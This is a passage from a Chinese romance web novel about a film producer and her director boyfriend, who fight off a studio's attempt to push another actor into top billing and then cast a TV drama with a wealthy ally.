舒誉宁无语，都什么时候了，他怎么还在纠结这个问题？
怪不得图钧突然跟组，估计就是怕路思舟恋爱脑上头，影响了他们撕番的计划。这才赶过来，寸步不离地跟着他。
“这个答案，对我很重要。”
路思舟看上去可怜巴巴的。
舒誉宁倒也大方：“动过，但也仅此而已。”
动过心罢了，没什么不好承认的。对于舒誉宁来说，路思舟就像橱窗里的一件漂亮衣服。第一眼看到，会心动，这很正常。但是没买到，她也不会觉得可惜。
“在你眼里，我和傅明宇，差很多吧。”
他非得跟傅明宇较劲。这个人到底能不能搞清楚状况了？
“傅明宇这个人一堆毛病，我也经常为他头疼。但是他坦荡、真诚，还听我话。”
路思舟点点头，他明白了。
“阿宁，谢谢你。”
“用不着。我先走了，麻烦你安分守己。”
图钧敢光明正大地撕番，明显是大鹅影业授意的。舒誉宁的抗拒，也不出所料的，遭到了大鹅影业的干涉。
“阿宁，你应该知道，现在路思舟是我们公司力捧的小生。”
这件事竟然都惊动了大鹅影业的董事，他特地从北京飞回来跟舒誉宁谈这件事。
“吴董，我也按照当时的约定，给他男主的位置了。合同上应该写得很清楚。”
吴董摇摇手，拒绝了舒誉宁的避重就轻。
“直接跟你说吧，我们对你们安排给路思舟的戏份不满意。你总得想办法解决。”
“吴董……”
“我不想跟你废话。”吴董直接打断了舒誉宁，他这样的商界老手，在谈判的时候，总会有一种无形的压迫感。“我只要结果。”
舒誉宁感觉自己完全被架在那儿了。她失魂落魄地回到片场，千杉见她回来了，冲上去给了她一个大大的拥抱。
“这个时候，你不应该在拍戏吗？”
“不拍了，罢工！”
千杉知道了这件事以后，带头罢工，以此表示自己的态度。
“傅明宇呢？”
“也罢工呢！”
女主角都不演了，他这个导演只能陪着罢工。
“不行！”
舒誉宁可不能让他们这样胡闹下去：“你们罢工了，他们就有正当理由撕番了。因为变成了我们违反合同。现在的情况虽然有点棘手，但也没有到需要罢工示威的程度。好好拍戏！”
“好，那就开工！”千杉向来听舒誉宁的话。舒誉宁的决定，她不会有任何异议。
“乖，快去找傅明宇，干活了！”
由于罢工了半天，为了赶进度，今天一直拍到凌晨。
收工后，所有人都离开了片场，只有舒誉宁，还在无人的片场里呆着。
像一只游荡的孤魂野鬼。
走着走着，突然肩上一暖。
她抬头一看，是傅明宇。他拿了条披肩给自己盖着。
“别又感冒了。这个时候你可不能生病。”
“你怎么不回去？”
“你没回去，我怎么回去？”
傅明宇也没劝她回去，只是跟着她。他们并肩在夜空里走着。
片场不大，他们走了一圈又一圈。谁也没有打破这份宁静。
终于，舒誉宁开了口：“你有没有后悔跟我一起干？遇到了这么多你讨厌的人和事。”
傅明宇最讨厌资本，最讨厌商人。可是现在，沦落到一个被资本和商人裹挟的境地。
“怎么会呢？我现在所有的一切，都是你给我的。”
他现在回头想想，觉得自己以前真是天真得可笑。
可是舒誉宁一次一次，在维护他的天真，让他的心血被人看到的同时，还不用背负世俗。
“你后悔过吗？我应该让你很烦吧？”
“何止啊！”在傅明宇面前，舒誉宁从来不藏着掖着。“不止烦，还很累。有时候真想掐死你。但你是我找来的人啊，我得负责到底。”
“我改，我好好改！”
傅明宇就这点好，说他什么毛病，他从来不会找借口。而且舒誉宁也确实看到了，傅明宇在一点点改变。
又不知道走了多久，舒誉宁只觉得天快亮了。
她跟傅明宇说，想回去了。
傅明宇点点头，打算开车送她回去。
回她家的路，傅明宇走得比回自己家的路还熟悉。
也不知道是不是车里太温暖，让人大脑有了惰性。还是太累了，脑子累蒙了。
在等红绿灯的路口，傅明宇突然对舒誉宁说：“阿宁，我喜欢你。”
说完的一刹那，傅明宇都想抽自己嘴巴了。自己在这个时候说这种话，不是更让她烦吗？
他想开口解释，却怎么也开不了口。他只好紧张地观察着舒誉宁的脸色。
只是舒誉宁并没有什么特别的反应，好像没听到似的，一直看着红绿灯。
3,2,1……
“绿灯了。”舒誉宁提醒他。
傅明宇赶紧踩下油门，驶离这个令他尴尬的路口。
“今天是什么日子？”
舒誉宁终于开口了。
“为什么一个两个都来跟我表白？”
她这句话，无疑是给傅明宇的内心投了一枚重磅炸弹！
看来路思舟那小子也表白了！路思舟会撩，套路多，长得又好，也看得出来，舒誉宁对他不是一点好感也没有。看来自己还是晚了一步，让那小子捷足先登。
自己还是太迟疑，太犹豫了。也是，舒誉宁这样优秀的人，怎么可能会站在原地等自己？
舒誉宁不知道傅明宇此刻丰
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富狗血的内心世界，她自顾自地往下说：“只不过，我拒绝他了。”
拒绝他了？
傅明宇想大笑，但是嘴角很快沉了下去。她拒绝路思舟，也不代表会接受自己。而且看起来，自己被拒绝的可能性也不小。
“你听到这个消息，开心吗？”
舒誉宁这么问了，傅明宇还是老老实实回答：“还是开心的。”
“那告诉你一个更开心的消息，我们在一起吧！”
“吱——”傅明宇突然猛踩了刹车。
车轮在地面摩擦，发出刺耳的响声。巨大的冲击力，让舒誉宁差点撞到身前的挡板，又由于扣着安全带，她被紧紧地扣在座椅上。
这个举动，吓得舒誉宁脸都白了：“你想吓死我？”
还好现在路上没什么车，不然恐怕就是连环追尾事件。后面的车主得冲下车，把他俩狠狠骂一顿。
“对，对，对不起，我就是，就是，太高兴了！”
傅明宇确实很高兴，眼眶都红了，舒誉宁还是第一次看到他这么激动。
“好好开车！不过我告诉你，这件事还不能让剧组里任何人知道，不然觉得我俩带头霸凌路思舟呢！”
能在这个时候，还能保持专业判断的，也只有舒誉宁了。
“我懂我懂！”
舒誉宁觉得，自己现在提出什么要求，傅明宇恐怕都会答应下来。
既然这样，她逗傅明宇的心思又起来了：“我上次说的，你要是再惹我生气，我就点十个八个男模，把脸埋在他们胸肌里哭。这话可不是开玩笑的！”
果然，傅明宇的笑容一下就收回去了。
他犹豫了半天，才说：“点少一点吧，我怕他们占你便宜。”
“哈哈哈哈哈！”舒誉宁笑得乐不可支，果然爱使人卑微。换做以前，舒誉宁哪里能见到傅明宇这个样子啊！
“我开玩笑的！看你吓的，放心吧。”
“好！”
电影又恢复了正常的拍摄工作。虽然舒誉宁提醒过傅明宇，他们在一起的事情，不能在剧组里公开，但是傅明宇春风得意的样子，还是骗不了人的。
大家都觉得很奇怪，明明剪辑的事情还没有解决，怎么导演却是心情很好的样子。
就在这个时候，图钧请的剪辑师也跟着进了组。
其他人以为，这会儿，导演该笑不出来了吧。
倒是傅明宇云淡风轻，他敲了敲面前的几台机子：“素材都在这儿，你们如果能从我这儿拿走拍摄素材，那我就让你们剪。”
“那就谢谢导演了！”
图钧以为，傅明宇妥协了。在他的手刚碰到摄影机的时候，傅明宇不知道从哪里掏出一根棍子，把面前的设备全部砸烂！
“傅明宇，你疯了！”图钧吓得不轻。他的手再偏一点，也会和摄影机一样，被傅明宇砸烂。
“我说，你们如果能拿走，那就让你们剪。看样子，你们没本事拿走。”
图钧入行这么多年，还是第一次碰到傅明宇这种人！
他一直以为他的阻碍是舒誉宁，没想到傅明宇才是那个最难缠的人。
傅明宇挥舞着手里的棍子，一把横在图钧的面前：“少拿所谓的娱乐圈，资本家那套来对付我。在我这里，都是屁！”
24. 第 24 章
都说软的怕硬的，硬的怕不要命的。
傅明宇就是那个不要命的。
图钧看到离自己鼻尖只有几厘米远的棍子，脸都白了，满头都是冷汗：“你，你要打我么？你动，动我一下，试试。”
“我才不会给你敲诈我的机会。”傅明宇把地上的机器残渣踢到图钧面前。“找吧，找到素材了，你们就可以剪了。”
“疯子！”图钧咒骂了一声。
这时，接到千杉求救电话的舒誉宁才姗姗来迟，她看着满地的狼藉，和傅明宇手里的棍子，也猜到刚才发生了什么。
图钧一看到舒誉宁，像看到了希望的曙光，就差连滚打爬到她面前求饶：“舒誉宁，你是制片，想办法解决。”
“都砸成这样了，估计也修不了了。”舒誉宁蹲下身子，随手在这堆残渣里翻了翻，装出一副很可惜的样子。
“图钧哥，你都说他是疯子了。你跟个疯子计较什么？”
“你！”
图钧气到失语，他想上前跟舒誉宁好好理论理论。傅明宇预判了他的意图，再次扬起了手里的棍子，做了个打棒球的动作。
图钧不敢动了，只能嘴上发狠：“算你们狠！这波我认了，但是舒誉宁，你别高兴得太早。这事儿，没完！”
待图钧走后，舒誉宁招呼所有的工作人员：“各位，导演发病了。我带他去医院看看，今天早点收工吧。”
等待所有人都走了，舒誉宁才问傅明宇：“素材都没了，你打算怎么办？”
“我怎么会想不到这个？”傅明宇从包里拿出电脑，“我都备份好了。”
也就是说，傅明宇是故意砸给图钧看的。既然图钧摆明了不讲道理，傅明宇干脆用野蛮一点的手段来对付他。果然，他被吓退了。
“哟，学聪明了？”
他会备份这一点，连舒誉宁都没想到。
“那是！跟着你耳濡目染，这点心眼总要留着。”傅明宇得意地扬起下巴，满脸写着“快夸我，快夸我”。
“只是可惜了这些设备。”这些设备加起来都要好几百万呢，说砸就砸了。
傅明宇拿出一张卡，交给舒誉宁：“我联系了几家做影视设备的公司，不管是买还是租，都会给我们优惠价。这卡里是我所有的积蓄，绝对不用剧组的预算。”
“看来存了不少私房钱。”
“都给你。反正我的钱本来就是你带我赚的，以后也会把钱都交给你。”
他现在都能考虑到这个层面了，舒誉宁不得不对傅明宇刮目相看。
傅明宇轻轻揽住舒誉宁的肩膀，安慰她：“别什么事都自己扛着，不管是作为你的搭档，还是你男朋友，我都有义务替你分担。”
舒誉宁伸出双手，回抱着他，在他颈窝处点点头：“我明白。”
傅明宇发疯这招还真管用。就连大鹅影业的吴董，知道这件事以后，也没多说什么。大概是怕傅明宇又做出什么不受控的事情。
不过这并不是长久之计。电影还要拍，图钧他们也还会作妖。
难不成，一直砸下去？只怕图钧他们知难而退之前，傅明宇的私房钱先兜不住。
“别担心啦。”傅明宇把煎好的牛排，切成小块，放在舒誉宁面前，“船到桥头自然直，总又办法解决的。先吃饭吧。”
舒誉宁叉起一小块牛排，放在嘴里咀嚼。对上傅明宇期待的表情，她点点头：“牛排很嫩，还有红酒香。看不出来啊，你还会做饭？”
“以前在外面留学的时候，就自己学着做饭。下次给你做锅包肉，我特地跟我东北同学的妈妈学的。或者你想吃别的，我都可以学着做。”
第一次谈恋爱的傅明宇，真诚又笨拙。他毫无保留的样子，给了舒誉宁独特的安心。
“好！”
接下来这几天确实风平浪静，经过傅明宇这么一闹，图钧再也没在片场出现过。
但这并不是意味着他们就在这次撕番大战中获得了胜利，舒誉宁不信，他们会就此罢休。
过了半个多月，舒誉宁发现，剧组似乎少了不少人。
仔细想来，好像每天都都在少人，只是少的不多。直到现在，她才发现少了这么多人。
场记、道具、服装……每个部门都缺人。工作量没有变，原本分摊在每个人身上正好的工作量，现在只有几个人做，一下超了负荷。
剩下的人就算留着，也坚持不了多久。
原来现在图钧他们现在开始温水煮青蛙了。把工作人员都调走，让他们渐渐无人可用，无工可开。
由于人手不够，大家的工作态度消极了很多。
舒誉宁只能尽力安抚：“我会再给大家加30％的奖金。我知道大家都辛苦了，再给我点时间，我会想办法解决。”
一个跟她平时关系比较好的化妆师站了出来：“阿宁姐，我们不是不理解你。这样什么时候才是个头啊？”
“对啊！”见有人出头了，立马就有人跟着附和。“阿宁姐，我们这些人迟早也是会被调走的。解决这件事最快的办法，你心里清楚的呀！”
是啊，解决这个问题最快的方法，就是让图钧他们的撕番阴谋得逞呗！
他们还真是够狠的，用普通工作人员的去留来威胁她。面对这一招，傅明宇连发疯都地儿发，不然传出去就是他们剧组欺压打工人。
现在再招工作人员也不现实，想来大鹅影业肯定和业内的公司打过招呼了，怕是没有人会承接他们电影的制作工作。
“阿宁姐，你劝劝傅导，别犟了。”
“是啊，傅导他只听你的意见。你都同意，他肯定也没意见。”
“够了！”舒誉宁还是没忍住，吼了出来。“抱歉各位，我情绪可能不是很好。各位还是回去忙吧，答应给各位的奖金，我不会食言！”
第二天，又少了一半工作人员。这次不是被调走的，而是他们嫌累，干脆不干了。
这样下去，不出三天，他们这个剧组就名存实亡了。
到时候就剩舒誉宁和付明宇这两个光杆司令，什么也干不了。
舒誉宁找过吴董几次，得到的回复都是：“在忙”“开会”“要出差”。
怎么可能每次找他都有事？摆明了是不想见她。
又过去一天，剩下的工作人员已经不足20个人了。
舒誉宁看到他们脸上的疲惫，既心疼又感动：“谢谢你们，还愿意留在这儿。”
“我就是见不得图钧和吴董这么欺负人。阿宁姐，跟你共事几个月了，你是什么人我清楚。”
“是啊。我就不想跟他们低头！打到资本主义！”
说着，那人还握着拳，扬起了胳膊。
其他人也跟着他，大有一副英勇起义的模样。
“好好好。”舒誉宁压压手，让他们安静。“大家留点力气工作吧，晚上我请大家吃饭。好好补补！”
她看得出来，每个人的体力和工作热情都已经到了临界值。包括她自己。
只是她不能表现出来，她一旦累了，整个剧组就垮了。
这时，舒誉宁的背后响起一个熟悉的声音。那个声音中气十足，十分嘹亮——一听就很富有。
“让我看看，怎么回事儿？”
舒誉宁回头一看，所有的疲惫一扫而空：“启程姐！你怎么来了？”
“珑珑找我搬救兵，说你现在十万火急。”
她响指一打，片场门口浩浩荡荡停了五辆大巴，从大巴车上，下来2
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00多号人，一下把片场挤满了。
“这帮小孩啊，没啥经验，发配到你剧组来实习实习，到时候我要他们回我剧组干活的。你给我好好教，教不好，拿你是问！”
舒誉宁给了赵启程一个大大的拥抱：“姐姐，你就是人间活佛呀！”
“喂喂喂，你快勒死我了！”赵启程拍拍舒誉宁的背，让她放开自己。“说说吧，到底怎么回事儿。”
舒誉宁便把最近的一切，添油加醋地说了一通。
赵启程点点头：“小吴啊？原来他是个董事，他这么狗腿，我以为只是个小喽啰呢。行，我们到时候一起吃个饭，好好聊聊。”
饭桌上，一向趾高气昂的吴董夹紧了尾巴，战战兢兢的。坐在赵启程左手边的舒誉宁，此时像个狗腿跟班，满脸的“小人得志”。
吴董主动端起酒杯，弯着腰向赵启程敬酒：“程姐，误会了。主要是有另一个项目，太着急了，才把工作人调走的。明天，那边的事处理完了，我马上联系人把他们派回来。”
“那我送过来的那些实习生？”
“我一定派人好好照顾他们。你放心，在阿宁的组里，他们一定能学到很多有用的东西。”
赵启程对这个回答很满意，转而，她看向其他人：“哪位是图钧？”
图钧马上站起来。Z省文艺基金会的主理人，他一直想合作，只是苦于没有机会。没想到，她和舒誉宁交情这么深。
“赵董，我就是图钧。叫我小图吧。”
“小图啊，我不太理解你们娱乐圈的事情。请问，什么叫‘撕番’？”
赵启程眨巴眨巴眼睛，让自己看上去充满求知欲。
图钧背上的冷汗都冒出来了，只能想办法找补：“不存在的，都是一些狗仔乱传的。”
“是吗？那就好，我还担心以后我的剧组也会有这种事儿呢。小吴，我们接下来和你们公司合作的剧，不会有这种情况吧？”
“当然不会！姐，你放一百个心，我向你担保，绝对不会发生这种事！”
舒誉宁听懂了，原来大鹅影业也有和赵启程合作的项目。赵启程不仅代表着Z省的文艺基金会，她更是全国顶尖女企业家的代表，吴董当然不敢惹。
问题解决了，坐在主位的赵启程拿起筷子：“菜都凉了，快吃吧！”
吴董和图钧这才如获大赦一般，狠狠松了一口气。
吃完了饭，舒誉宁打算送赵启程回去，傅明宇也很主动，当起了司机。
赵启程一看，心里便有数了，她用手肘戳了戳舒誉宁：“不给姐姐介绍介绍？”
舒愈宁把傅明宇拉过来，挽着他的胳膊：“姐，这是电影导演，也是我男朋友，傅明宇。”
傅明宇不知道该怎么打招呼，他只知道这个姐姐是个大佬，不能怠慢，竟然鞠了一个90度的躬：“姐姐好！”
“起来起来！”赵启程已经很久没有看到这么标准的鞠躬了。“小傅是吧？我看过你的作品，确实很有才华。”
“姐，只要你开口，我们随时给你拍电影。今天多亏你了。”
赵启程点点舒誉宁的鼻尖：“珑珑说你爱逞强，今天一看，还真是。不过呢，我本来就有事找你。这几天，你得抽空跟我去一趟H市。电视剧要招募配角演员，你帮我把把关。”
“这种小事，你打个电话我就来了呀！”
“你不怕你男朋友舍不得？”
突然被点名的傅明宇，马上表态：“去吧，剧组有我，请领导放心！”
傅明宇这一本正经的样子，逗乐了赵启程，她直夸舒誉宁，教导有方。
“姐姐，你就别笑话我了。明宇，开车吧，早点送程姐回去休息。”
“好嘞！”
25. 第 25 章
送走了赵启程，傅明宇又任劳任怨地送舒誉宁回家。哪怕舒誉宁现在有新的助理，傅明宇也坚持自己送她回去。
一天忙到晚，也就这么点时间能让他们独处，傅明宇可是一秒都不想浪费。眼下舒誉宁又要出差了，傅明宇更是粘人得紧。
“你不怕我这次去H市，程姐又给我安排男模招待？”
上次去H市，赵启程可是给舒誉宁开了一扇新世界的大门。舒誉宁这次也不由得期待起了这次的行程，谁不爱在纸醉金迷里面沉溺呢？
“我要不拍完这部电影就转行，也去做男模？”
“人家男模个顶个的，嘴甜会哄人，你行吗？”
“我会哄你不就行了？”
好像也不太行。舒誉宁正想着，傅明宇已经开到了小区的地下车库，开门请她下车了。
回到家，傅明宇帮着舒誉宁收拾出差的行李。等弄得差不多，他也打算回去了。
舒誉宁拽住他手，让他摔在沙发上，自己则居高临下地坐在他他腿上。
傅明宇紧张又期待地看着她：“阿宁，怎么了？”
“不是想转行做男模吗？让我试试钟。”
结束以后，舒誉宁起身去洗澡。傅明宇躺在床上，望着天花板的吊灯傻笑。
他切身体会到了，为什么有人或说，和喜欢的人在一起，心里会冒粉红泡泡。他觉得自己是世界上最幸福的人了。
等舒誉宁从浴室出来，就看到这么一副好笑的场景。
“别傻乐了，赶紧睡。”
傅明宇从床上坐起来，带着几分谨慎，问她的“试后感”。
男人好像都很在乎这方面。
“好好做导演吧。毕竟隔行如隔山。”
舒誉宁嘴里没说一个“差”字，给出来的却是实打实的恶评。听得傅明宇作为男人的自尊心，跟着碎了一地。
舒誉宁摸摸他脑后翘起的呆毛：“不要气馁。慢慢来，熟能生巧。”
“那你要不再试试？”
“去去去！”舒誉宁推开凑上来的傅明宇，“早点睡吧，明天一早就要赶飞机。”
见傅明宇一脸受伤的样子，舒誉宁安慰他：“等我回来，慢慢试！”
“好！”傅明宇一下就被她哄好了，在她脸上响亮地亲了一下，乖乖钻进被子里睡觉。
舒誉宁无奈地摇摇头。怪不得有人儿童心理学就是男人心理学，特别是恋爱中的男人，特别稚气。
第二天一早，傅明宇准时起床，做早饭，载上舒誉宁后，再去接赵启程。
“也不用这么急的，可以等两天。”
“没事儿，程姐，你的事才是最重要的事。”
“我不是怕你小男友舍不得吗？”
“是舍不得啊！”傅明宇大方承认了，“但既然迟早要去，还不如早去早回。”
到了机场，已经有负责接驳的地勤在等待。赵启程上车前，对傅明宇说：“你女朋友被我借走了，我一定把补偿。到时候来我的农庄玩！”
在H市的越天珑等她已久，一看到她，便忍不住拿她打趣：“春风得意，爱情事业双丰收啊！”
“剧本背熟了？还有心情八卦！”
“跟个扫兴的班主任似的，早背熟了。”
在去片场的路上，越天珑交给舒誉宁厚厚的一沓演员资料：“程姐说了，配角选角由我们全权负责。这种事儿我不擅长，我也不想看简历。交给你了。”
“知道了！”
早该想到的，越天珑不会这么好心，特意来接自己。估计就等着她来，把这种麻烦的事情扔给她。
舒誉宁在来的路上，已经看过配角的招募范围得要求了。她作为经纪人，早已练就了一双火眼金睛，光看证件照就能判断出这人行不行。
凭这个，她很快便筛掉了一半简历。
“于浩？”翻到这个简历，舒誉宁惊讶地念出了这人的名字。她再三确认，确定不是同名同姓，而是她认识的于浩。
“谁啊？”越天珑拿过他的简历，好奇地看着。
这人也没什么特别的啊，怎么舒誉宁会这么惊讶？
“这是我大学同学！”舒誉宁指着他毕业院校这一栏，上面确实写着“传媒大学”。
“那又怎么了？”
在娱乐圈里碰到大学同学很奇怪吗？他们这些电影学院、戏剧学院或者传媒学院的，不都在娱乐圈就业吗？越天珑还三天两头碰到自己同学呢！
“我只是没想到，他会来试一个只有几场戏的小配角。”
在舒誉宁的印象里，于浩是他们那届的佼佼者。什么十佳歌手、街舞比赛还是话剧社表演，这些活动总有他参与的身影。还只是一个学生的他，早早在社交平台上积累了几十万粉丝。
大四那年，舒誉宁还在各个经纪公司投简历，连个实习经纪人都混不上的时候，于浩已经签了公司当演员了。
像他这样的人，按理来说，应该混得挺好才对啊。怎么在这个组碰上他了？
“看他的履历，他不是一直演这样的角色吗？”
越天珑这么一提醒，舒誉宁才注意到他长长的履历表。
毕业这些年，他演了不少戏，比越天珑多了五六倍。但很多都是只有几句台词的群演，存在感堪比NPC。如果这个角色他成功入选，那将会是他近几年来戏份最多的一部戏。
舒誉宁捏着他的履历反复看了几遍，想了想，还是把他留下了。
“你不会因为他是你同学，就开后门吧？”
越天珑这句话是开玩笑的，她相信舒誉宁的为人，不会这么随意草率。
“怎么会？程姐把这么重要的活交给我们，当然要对得起她的信任啦。不过我这个同学，演戏经历挺丰富的，我还是想给他留一个试镜的机会。”
这点越天珑是理解的。试镜而已，能不能抓住这次机会，还得看他自己。
筛掉了一半简历，剩下的还有几百人。谁都看出来这部戏是大制作，红的、不红的都想来讨个角色，等着蹭到热度，一把飞升。
只是辛苦了舒誉宁这个选角顾问，为了赶进度，每次都要选到深夜。
坐了大半天的舒誉宁实在坐不住了，暂时喊了停，想出去走一圈，让自己调整一下。
她低头看了一眼手表，从早上8点开始试镜，现在已经晚上10点多了。
门口还有几个等着试镜的演员，他们也这样，等了一整天。
他们这样干等着，只会比自己更辛苦。还是赶紧回去吧。
舒誉宁这样想着，正打算回去，却看到路灯下蹲着一个熟悉的身影。
是于浩。
昔日阳光开朗的同学，如今被岁月烙上了沧桑的痕迹。他裹紧外套，点燃一支烟，试图让自己在这个仲秋的夜晚里，获得一些暖意。
“于浩？”<
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p>听到有人喊他，他把刚点燃的烟扔在地上踩灭。环顾了周围一圈，才看到不远处的舒誉宁。
“舒誉宁？是你啊，好久不见。”
许久未见老同学，于浩也很惊讶。
“嗯，这部戏我负责选角。本想着出来透口气，没想到碰到你了。”
“我听说了。你现在开了影视公司，当了老板。听说，赵启程跟你关系也不错。”
不知为何，舒誉宁听到这番寒暄，有些尴尬。
于浩瞧了出来，语气轻松地把尴尬化解：“你别多心，我不是让你开后门的意思。不能让你难做不是。”
舒誉宁有一搭没一搭地和他拉着家常：“怎么就你一个人，你经纪人呢？”
舒誉宁见过他的经纪人，以前还特地来学校接他去片场拍戏，看起来很重视他的样子。
“早解约了。后来又换了家公司，结果倒闭了。索性自己出来单干。”
舒誉宁恨不得咬掉自己的舌头，虽说自己是无心的，但也是哪壶不开提哪壶。
“也挺好的，不用跟人分钱。”
这天越聊越尴尬了，舒誉宁说了句“时间不早”了，便逃似地跑回了面试厅。
“第196号！”
工作人员喊着号码，进来的人正是于浩。
“各位老师好，我是第196号演员，我叫于浩……”
试镜时的于浩很专业，并没有跟他们说起来自己是舒誉宁的老同学。他根据先前拿到的片段，进行了五分钟的试演。看得出来，他准备得很充分，台词流利，情绪到位，交上来的人物小传也写得像模像样。
一切都不错，但也仅仅是不错。就像班里考试门门都及格的同学，他不差，但绝对算不得好。
舒誉宁暗中观察着其他几位老师的表情。很明显，他们也没有什么特别的感觉，和看到其他演员试演的反应一样，淡淡的。
于浩肯定也看出来了，他眼里除了失落，更多的是麻木。他也没有再为自己争取多试一次的机会，而是鞠了个躬，说了句“谢谢老师”，便转身离开了。
直到最后一个人面试结束，时间也过了十二点。舒誉宁站起来，伸了一个懒腰，舒展了僵硬的身体，才出门离开，打算回去。
路灯下，于浩还是裹着大衣，蹲在那里。只是，现在他嘴里的那支烟，快烧没了。
“怎么这么晚了，还不回去？”
“离早班车还有时间，一会儿再去车站。”
“你要去哪儿？”
“下一部戏的面试。”
原来，于浩这几年就是这样，四处奔波找戏拍。为了省钱，他几乎不住酒店。有时候时间卡不上，他就在车站凑合一夜。
舒誉宁有些于心不忍，她找了两张名片递给于浩：“这两部戏最近也在招演员，你可以联系他们。”
于浩接过名片，苦笑一声：“去过了。”
“那，我这边如果有需要，我联系你。加个微信？”
舒誉宁亮出了自己二维码，等着于浩扫它。但是于浩摆摆手，拒绝了。
“有机会再说吧。我先走了，早点回去吧，你今天辛苦了。”
他踩灭了烟头，拿纸巾包好，扔进不远处的垃圾桶。
舒誉宁看着他逐渐在黑夜里消失的背影，想起一句很久远的话。
艺人没有舞台是种无奈，
艺人不懂下台，则是悲哀。
26. 第 26 章
“千里马需要伯乐，但前提，他得是一匹千里马。”
舒誉宁回过头，看到越天珑靠在树干下，双手环胸，也不知道她站在这儿多久了。
“我明白你说的。”同情好像是人类埋在骨子里的劣根性。明明知道同情没用，但还是忍不住同情。
作为经纪人的舒誉宁，一看便看出了于浩的问题所在。他在校园里，可以是一个众星捧月的佼佼者，但在娱乐圈里这满是耀眼明星的星河里，他太平庸，太暗淡了。
舒誉宁自嘲地开玩笑：“可能是年纪到了。人一到这个年纪，总会回忆过去，唏嘘当下。”
“他这样的人，我们这些年也见多了。”
就拿越天珑就读的表演专业来说，每年几万人报考，最后上岸的就那个几十个人。那可真是万里挑一。这些人代表的是全国最优秀的演员后备力量。每个人都长得好、有天赋、有灵气，从小到大，都是父母、亲人、老师眼里的天之骄子。四年的专心沉淀，满怀希望踏入娱乐圈，却被残酷的现实打得不知所措。
别说成为明星了，哪怕只是稳定地有戏拍，都没几个人能做到。
有些人梦醒了，妥协了，收拾收拾，离开了娱乐圈，另起炉灶，找一份普通的工作。他们将曾经那份恨不得贴在脸上的毕业证，塞进家里最角落里的柜子。然后，借着某一次搬家，将它偷偷扔掉，与过去一刀两断。
而更多的人，在娱乐圈里挣扎，过着入不敷出的日子。他们又何尝不知道自己的平庸？他们会给自己造梦，告诉自己，还有下一部戏。
可怜，可悲，可敬。
回到酒店，傅明宇的电话准时打了过来。
一接起来，傅明宇便开始汇报今天的工作：“今天你那边怎么样？我这边可顺利了，这部戏拍到现在从来没这么顺利。程姐还真是厉害。”
“那就好。”
傅明宇听出来，电话那头的舒誉宁的情绪不太对劲。声音不由得变得柔软，问她是不是遇到了什么事。
“没事，遇到了一个大学同学而已。”
听完了于浩的事情，傅明宇也大概知道了舒誉宁小情绪的由来。他宽慰舒誉宁：“人生的时差在毕业后会越来越大。如果哪天你们搞同学聚会，你的同学们见到你，会吓一跳吧。”
是啊。有的人，一毕业就结婚生子。有的人，回去继承家业。有的人，一路硕博，留学深造。而有的人，还在生活的漩涡里挣扎。
每条路都差得如此之大，可他们明明是站在同一起跑线的人。
谁又能想到，那个在人堆里并不起眼、没有姓名的女同学，早已蜕变成娱乐圈人人皆知的知名经纪人、顶级制作人呢？
“不想去那种场合。”舒誉宁嘟囔一句。
同学聚会和商业聚会最大的差别是，前者，打着真诚的幌子，充满利益。后者，只要有利益，那彼此之间，就是真诚的。
“理解理解，我也讨厌同学聚会。”见舒誉宁的情绪好一些了，傅明宇才开始诉说自己的思念。“你什么时候回来啊，我好想你。”
现在的傅明宇简直像变了一个人。也不拧巴了，开始说人话了。
“快了，还有三四天。”
“还有三四天啊……”估计连傅明宇自己都没发现，此刻的他，有多么娇俏。“那好吧，你好好休息。那个，不要点这么多男模哦！”
舒誉宁后悔拿这个梗逗他了，这件事在他心里彻底挥之不去了。不过，傅明宇是有多爱她呀。对她的叮嘱不是“不要点”，而是“不要点这么多”。他心里明明抵触，却还是为了舒誉宁的开心，强行让自己接纳了这件事。
“行了！”舒誉宁哭笑不得。“我没空去的。你尽管把心，放肚子里！”
接下来的三天，舒誉宁轮着面试了200多号人，终于将最后的人选确定在50以内，而这50人里到底选定谁，就由导演定夺。
这部剧最后换了哪个导演，舒誉宁也没见过。
赵启程提前帮她约好了和导演见面，舒誉宁原本想打听一下新的导演是什么人。赵启程神神秘秘的，不告诉她。让她也跟着好奇起来。
推门进来，从门外探出一个略带稚气的脸。一个看起来刚刚毕业的小姑娘，比她小5.6岁的样子，戴着眼镜，头发貌似是新剪的，刚刚过肩。
“阿宁姐，你好。我是这次新剧的导演，我叫青禾。”
“这么年轻？”
“嗯，这是我第一次正式导演电视剧。有些不懂的，还请你多多指教。”
第一次？这让舒誉宁很意外，赵启程竟然把这么大的项目交给一个没有经验的新人导演。
“很惊讶吧？程姐联系我的时候，我也很惊讶。我没想到她真的会找上我！”
“她是怎么找上你的？”
青禾说，她第一次见到赵启程，是在学校的就业指导讲座上。赵启程风趣幽默的演讲，一下就让她失去了对找工作这件事的恐惧。她在学校里指导过几次微电影，也拍过短剧。在听说赵启程在给新剧招募导演的时候，她就抱着试试看的心理，找上了赵启程。
“你知道吗？在她给我打电话的时候，我激动得把脚扭了！”
到底还是个小姑娘，说话的神情和语调就是充满活力。舒誉宁有点理解，赵启程为什么会找上她了。
不过，她又是怎么联系到赵启程的？听她的意思，她是和赵启程一对一联系的，并不是像普通的招募一样，把简历投到邮箱，等着被人海底捞。
“因为，‘六人定律’。”
通俗点来说，就是两个陌生人之间，基本可以通过六个人来确定联系。青禾找到了以前的大学辅导员，再通过联系到校领导，一个个找过去，找到了赵启程的联系方式。这种有点冒犯的联系方式，得到了赵启程的赏识。再加上青禾独特的女性视角，让赵启程在半天之内，确定了和她的合作。
真是个有头脑，有胆识的年轻人。机会都是争取来的，所以说，她能成为这次电视剧的导演，实至名归。
“看看吧，这是最后的50个候选人。”
“我都看完了！”
青禾打开电脑，调出了她的PPT。她了非常详尽的思维导图，把每个角色的特点、演员的试镜情况和演员本人的特点全部罗列了出来，清清楚楚。真不敢相信，这是她一天内做出来的东西。
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“最后，这是我选出来的8个演员。阿宁姐，你怎么看？”
她怎么看？她刮目相看！
“青禾，你签经纪公司了吗？”
“还没有，你想签我吗？”
想，太想了！这样的人才收入麾下，简直是如虎添翼啊！只是，这还要尊重青禾本人的意见。正当舒誉宁准备给她开口规划未来的时候，青禾及时打断了她：“这，我还是问问程姐。毕竟是她把我招来的。”
也是。这样的人才，说不定赵启程想留在自己的基金会里。赵启程是她的伯乐，舒誉宁也不好半道截胡。
“不过，阿宁姐，还是有个不情之请。能不能请你再多留两天，我还有多事情不懂，得麻烦你教教我。”
